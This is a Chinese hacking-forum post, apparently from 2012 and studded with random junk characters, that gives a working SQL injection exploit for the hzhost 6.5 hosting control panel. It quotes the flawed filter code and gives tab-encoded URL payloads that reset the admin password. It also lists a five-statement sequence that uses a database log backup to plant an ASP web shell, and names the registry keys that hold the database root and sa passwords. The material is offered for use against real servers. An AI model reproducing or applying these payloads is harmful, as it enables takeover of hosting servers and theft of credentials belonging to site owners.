中国网络渗透测试联盟

标题: 再爆hzhost6.5虚拟主机管理系统的SQL注入漏洞 [打印本页]

作者: admin    时间: 2012-9-5 15:03
标题: 再爆hzhost6.5虚拟主机管理系统的SQL注入漏洞
这次继续爆hzhost6.5虚拟主机管理系统的SQL注入漏洞。) y" X" b3 ^1 a, Z9 K2 l+ w
只讲两个要点。
5 L' C& S/ T0 n4 c# H8 A& L; A: A7 z第一,如何拿网站管理员权限。1 j' r& Q  {" A0 u6 x
第二,如何备份木马。8 q) k- i  ~' V
这次不是简单的注射点,而是经过安全函数过滤的了点。由于对方没有将变量用单引号包起来,而过滤函数又未过滤完全,导致我们有机会进行注射。
$ A% d7 A2 j7 A5 R7 c  b8 u7 m* g 我这次还做了个动画。一并发放。希望能让大家玩得"happy"!哈哈。。。- B+ X& o7 u4 z6 t+ c( E- @& H
httP://www.xxbing.com QQ1787373153 c/ |& s5 h1 c# b0 ~
由于我写了很长,而且很累了,所以希望大家回帖鼓励一下。0 f) d* L8 M. W: f* Q8 O9 K
------------开放浏览-------------, V, L9 K( M4 W& O. q
漏洞存在于\hzhost\hzhost_master\control\ot2_mng\ot2_lst.asp文件中!4 G! Z9 G; P% }/ n$ H0 v( ]
-------------------------13-15行----------------------------" w$ D- C% C) x( F/ K4 @
querytype=SafeRequest("querytype")  //saferequest函数接受数据
+ b  g& w+ y$ y, f if chk_int(querytype)=false then  //检查是否是整数
3 @2 L7 E& H. e. @( e" D    ErrMsg="<font color=#ff0000>对不起</font>,非法操作!..."- V) W$ I( g9 a8 d% \
-------------------------37-42行---------------------------$ {  |$ I# n3 s( J4 o2 ]
elseif querytype=5 then //如果类型为5。就接受qu1数据!
: T  f4 R3 w0 K/ B) S6 m( {   qu1=trim(SafeRequest("qu1"))      //saferequest函数接受数据,他自己定义的saferequest函数!+ e: Y/ e0 {# e* R. G/ o$ g3 ]
   
4 T0 x- e' I8 x" c8 |    if  qu1="" then  //不能为空- g2 W5 A; ?3 o5 _# c7 u. q3 c
         call errorpage(-2,"对不起,请选择参数!")4 u: Y, C3 a( Z4 p! L$ G
   end if         
! v/ h. v) y: c: n9 \( A      qstring=" and s_regstt="&qu1&" "  //这里是关键  qu1没有用单引号包围,虽然用了saferequest,但是我们可以绕过!7 M. {) V# h# S9 ?3 w# r) ]% C
-------------------------62-65行---------------------------
  A/ \# Y+ A' k qu7=trim(SafeRequest("qu7")) //saferequest函数接受数据
3 `0 u5 x! Z/ z/ l6 H- n/ f if qu7<>"" then% G" |8 G$ F, B6 B/ {
qstring2=" and u_nme='"&qu7&"'" //这里被单引号包围了。  这里被包围了,所以这里成了死点!!
& K6 P* i% R! r- K$ v/ N, g end if ' D3 `9 Y3 w; ]" R! Q
--------------------------117行-----------------------------
+ |6 g9 q, h6 K  D% p" S, C! G: f5 j query="select * from v_ot2lst where  (s_unme='"&session("usrname")&"' or u_fatstr like '%,"&session("usrname")&",%')    "&qstring&qstring2&"  order by "&orderstring - N4 V. q; ?$ N& n) r
//到这里就丢进去查询了!
" T- j7 t: y3 t, U1 A  g' q- _- C2 z, m6 i$ x" ^
来看看saferequest()函数。% e1 @+ Z# u& k( K. p6 N- I7 I
------------------incs/config.asp中-------------------------. R- E" \" R9 R2 d. x$ o
Function SafeRequest(ParaName)
) w- ?9 s& |# r' B& {& d Dim ParaValue # }4 g* G$ H9 D+ Q) f1 l1 {
ParaValue=Request(ParaName)  //获取数据3 T/ A) C8 f; B' R6 b
if IsNumeric(ParaValue)  then  //如果是数字
3 W! r1 L5 o' s5 q$ R+ t3 c SafeRequest=ParaValue  //那就不过滤,直接赋值& y; q# d6 `& A' @% Q
exit Function, a5 k5 }8 ?2 a' p3 e8 r
- d) z( d2 [+ b5 O
else
" r- R; q5 e  u  C+ V9 V2 ?' a% ^5 m ParaValuetemp=lcase(ParaValue)    //如果不是数字,先把接到的数据全部转为小写, {5 z- P; l4 v2 l1 }7 s
tempvalue="select |insert |delete from|'|count(|drop table|update |truncate  |asc(|mid(|char(|xp_cmdshell|exec master|net localgroup administrators|net user| or | and |%20from"
; p  P4 P+ E$ s; ^4 p) u //定义要过滤的字符!; W0 L" q: `, p
* z; ]1 X/ @& v
他过滤方式有问题。。。没有过滤 * / % / -- / ;2 F1 D$ A5 M; F- W& c  l. S
而且他过滤的都是select+空格。我们用select%09或者select/**/便能饶过。
* Y. ^  U, a3 |$ K4 ^1 Z# w
! F; l! H2 l5 }. Z8 a0 Z temps=split(tempvalue,"|")           //转为一维数组0 t  \* I$ ?* z# e/ l3 l5 k& U
for mycount=0 to ubound(temps)       //循环读数组内数据
/ T" X  l* }( C0 K) n if  Instr(ParaValuetemp,temps(mycount)) > 0 then   //判断用户提交的数据是否包含了 非法字符。
1 H* f7 \) P  ]! w8 e3 ^, T$ }                 call errorpage(-2,"非法请求!!!")  //如果有则弹出提示!!6 _8 C* |; ~4 o- j8 q2 C1 Y
                 response.end
: W  y8 P7 v, g% L+ z end if
0 N  o; s# X4 [$ _2 s& o& v; U" }0 p next
9 [' s& F1 Z* m SafeRequest=ParaValue* l3 v6 [; B: A' U: Y
end if
5 x/ Y7 l# z* V3 Y End function
: W' n- J; i3 P4 H' E( T9 i( Y& x -------------------------------------2 l9 D, y, X' i! B: N4 I
0 u4 K8 Q2 t3 Z! `- i* G0 [: m; ~
所以我们构造注射点的思路就是:不能出现单引号,update,select等等两边都要用%09(tab)..仔细看清楚。上面过滤的是update+空格。select+空格。
. F# |$ P6 S# s% m* i2 j$ e$ { 先给出查询语句的框架。4 ]  e6 ?9 a: j$ K* {% N9 ]
select * from v_ot2lst where  (s_unme='username' or u_fatstr like '%,username,%') and s_regstt={我们的语句} and u_nme='1' order by s_addtme desc5 B+ X. ^5 I0 a6 M& }8 h
# U7 M9 k6 Q; |: Y$ [1 |( a
为了使语句顺利执行:
! Z* B' d% f/ d 我们还要闭合后面的语句。我没有选择注释掉 and u_nme='1' order by s_addtme desc而是闭合他,是因为注释后,实际查询出错了。1 ]- V# M6 j  |, @- [
这里我给出条示范语句,即{我们的语句}
) I5 @/ j) H* _1 \UPDATE%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 WHERE u_nme=0x61646D696E5 _# k# m& V% V2 n% l. g( G( W
8 b# S' ]5 F9 l5 x+ r) X+ a4 K  K
这条语句能够绕过saferequest函数的检测。没有出现单引号。
. v  q' s, d7 O: z 我们提交:
3 M0 p4 v, s8 E7 q* D, Rhttp://www.xxxxxx.com/control/ot ... amp;qu1=1;UPDATE%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 WHERE u_nme=0x61646D696E;select%09*%09from%09v_ot2lst where s_regstt=1;select%09*%09from%09v_ot2lst where s_regstt=1
7 Y/ Q5 c6 c: B/ w8 _5 A. n3 e6 {) u1 @* p0 ]7 P. h( s' @
这句话就能够将admin的密码修改成1234560 X8 G) u: V' p+ ~1 e; b$ Q
到此第一个目的就达到了。如果admin不是超级管理员。那么请看《HZHOST域名虚拟主机管理系统sql注射漏洞》中所提到的方法。相关语句请自己转换。
  `8 @7 G5 N! O4 S# \9 q' ? 第二步是要备份挂马。
6 k. C& j5 y8 s9 t3 u; S 大家看动画中的备马这么简单,当初难了我老半天。saferequest过滤了char(
* a7 Q) P# o. v. q$ L 导致备马的这条语句失败。
2 m8 @- G4 s  Bdeclare @a sysname,@s varchar(4000) select @a=db_name(),@s=。。。。。。。。。
3 T' \: p6 p, p
8 C/ g; d# G- R' D 有人给我建议改成 @s ntext 等等,换类型都不行。因为我们插入的一句话木马已经固定了数据类型。。6 \4 P: k+ n% A! y& c; t6 w
由于mssql的宽松性。我把varchar(40000)中加了个空格。并把空格替换成%09成为 varchar%09(4000),也是可以的。这样我们就饶过了char(
3 s1 S2 A8 X& Z6 ~  S3 [% t 接下来放出详细语句。大家放入{我们的语句中}
8 F2 U# I( |) T3 {  J$ N5 t第 一 步:5 @& |/ e# I9 q0 U
create table [dbo].[shit_tmp] ([cmd] [image])--$ y1 A8 |- o5 ^% [) }3 |
第 二 步7 c0 x* R. T9 k* v- d9 z4 v
declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate--0 J% k7 B' y+ m1 ~  G+ Q% Y
第 三 步$ p+ e* ?. {1 x
insert%09into%09[shit_tmp](cmd) values(0x3C25657865637574652872657175657374282261222929253E)--! ^. ~3 ^  E, A- w0 U
第 四 步! v- n9 p. t8 D7 _1 }! t& m2 H- `9 j
declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x44003A005C0068007A0068006F00730074005C0068007A0068006F00730074005F006D00610073007400650072005C0031002E00610073007000 backup log @a to disk=@s--
' U) Y, ~$ C+ q% s' f+ x' } 第 五 步
- W8 O: Y# a: k7 x' H/ f, f# q* x1 T4 I Drop table [shit_tmp]--
$ d4 d4 x0 g( R
0 s3 a: _  |& I$ k 上面5句语句是在d:/hzhost/hzhost_master/下生成一个1.asp。里面包含了一个密码为a的一句话木马。+ i/ D5 b! ^' {+ r) Q2 R
一般来说,我们就能拿到webshell. 至于拿webshell后,如何取得系统权限。
& H$ ]5 S% H/ f3 { 请看《对HZHOST域名虚拟主机管理系统sql注射漏洞进一步利用!》; X  I0 S+ v" n) f3 c1 l
1 R% J: m2 p* o( ]4 k
最后是答疑部分:/ n% b! X/ N4 G3 J) C
1:这次是get注射,不像上次是post注射。由于没有文本框字符的限制,所以不需要保存网页到本地。: g, X. K- |* `6 F; ?, \# I

! I+ {7 p1 X  e3 D 2:123456的md5(32)值为e10adc3949ba59abbe56e057f20f883e 用mssql 16进制转换后,成为0x65003100300061006400630033003900340039006200610035003900610062006200650035003600650030003500370066003200300066003800380033006500
$ [$ R- F& r) s% a2 [+ R 这是转为nvarchar型的,我们直接更新这个值。会导致被更新用户的密码为乱码。所以我们要转成varchar型的。即:; o, X7 \- A; o5 s5 f8 s4 [) `; Y
0x6531306164633339343962613539616262653536653035376632306638383365! T) i& m! a+ d7 j3 m, o- B! J# i
大家仔细观察,会发现,其实只是去掉了一些00。。
5 Z! [# b* R$ R 所以大家在转换其他md5的时候,注意此问题。
4 v9 ?$ E$ Y9 L3 N1 {0 }0 P
, V+ G: X5 v0 Q/ N% r7 x 3:读sa密码,root密码。我们读的是加密了的。还原必须在本机,每台hzhost主机都有自己的密钥,密钥参与到加密过程。这是导致A主机不能还原B主机密码的原因。& @; Q% B( C0 p& l4 y% G; o
另 hzhost虚拟主机平台的所有dll文件。还有一些注册表值我都已取得。有会逆向分析的高手,能做出还原密码程序的高手请联系我。我很希望把他的加密方式弄出来。
7 v1 B" V# h5 O: U. h! ^- \$ a6 {! |0 ]  d& ^
4:备马的问题,备份成功后,可能出现乱码,是由于截断了的原因,大家用NBSI3。去掉2个截断的勾,再生成语句执行就行了。; K1 v- ^6 Y( [7 ]9 z, W
有的服务器可能在备马的过程中出现SQL过期,超时。遇到这样的是对方数据库很大,这我也没办法。我没能找出一个比较好的解决方案。大家自己研究吧。
" e+ t% L5 R( y- x8 M& {1 L, v$ X0 n* x0 ]* k8 I
5:hzhost其实不只这一个注射点,没被单引号包围的变量还有一些。大家自己去找吧。我只是拿出一个来分析。: s& M) H1 {. n6 i  k

# B" t1 R5 k$ T' B' J$ S/ S 6::7 P. ~, _7 r! a4 l, L4 P* F8 i0 S* V
sa密码。root密码。
% I2 M! ~4 m! I& J& r HKEY_LOCAL_MACHINE\software\hzhost\config\settings\
& j' R" q3 {' u: a" U mysqlpass---root密码' ^( Z* @" R; N8 K
mssqlpss----sa密码0 V' F2 A5 E$ p7 J# @, P# _, @
+ O' u& E1 ^* G$ C1 F/ h1 q7 g5 X
0 J6 R. \% |+ J' X& J
7.如果路径不在D:/hzhost; T7 P, `% F, z- C
那么就是你人品问题!进后台找找普通用户FTP/web的路径,也许会有些用。
" Q% {) R9 Y$ K# i' `; n 或者去读注册表。( j3 S. t, b( Z1 j0 p( V) ^$ `
HKEY_LOCAL_MACHINE\software\hzhost\config\settings\ 下' M" v1 Z" r8 u
"wwwrootpath"="e:\\wwwroot"& ]! H; ]; c1 Z: K# J5 w* k/ ?
"urlsiteroot"="D:\\hzhost\\hzhost_url"; t1 c7 h2 B2 w7 U: E* w
"ftprootpath"="e:\\ftproot"   可以看出什么? 绝对路径放在注册表中。把注册表中的值更新到某个字段,再去读就行了。(比如用户e-mail中。。)
7 m% u+ A, g5 l9 L( ?7 X 大家自己去试。我没有碰到不在D盘的hzhost.。只是个思路!4 N$ Y; J+ Y. r* x8 W+ R
$ A# Y* A( e2 x
利用动画下载地址(送给菜鸟同学们,能看懂文章的大不必下载,只是把文章的内容完全演示了一遍。)
1 r1 @# u' y; m) i$ nhzhost最新漏洞.rar
- Z; F  t, \/ T5 c/ m9 N  o 饿。纳米盘速度可能不咋地。但是由于偶的空间FTP坏了。所以,只能放到这里。抱歉啊!!" d& A6 p+ x( F# }

" p, K/ l& J& a" M' A 最后,还是版权。
5 E7 {6 h( Z( L: p( M8 `2 x8 khttp://www.xxbing.com QQ178737315
% q* Y7 y" q2 I" Z) \% L 允许自由转载。但请注明作者。




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2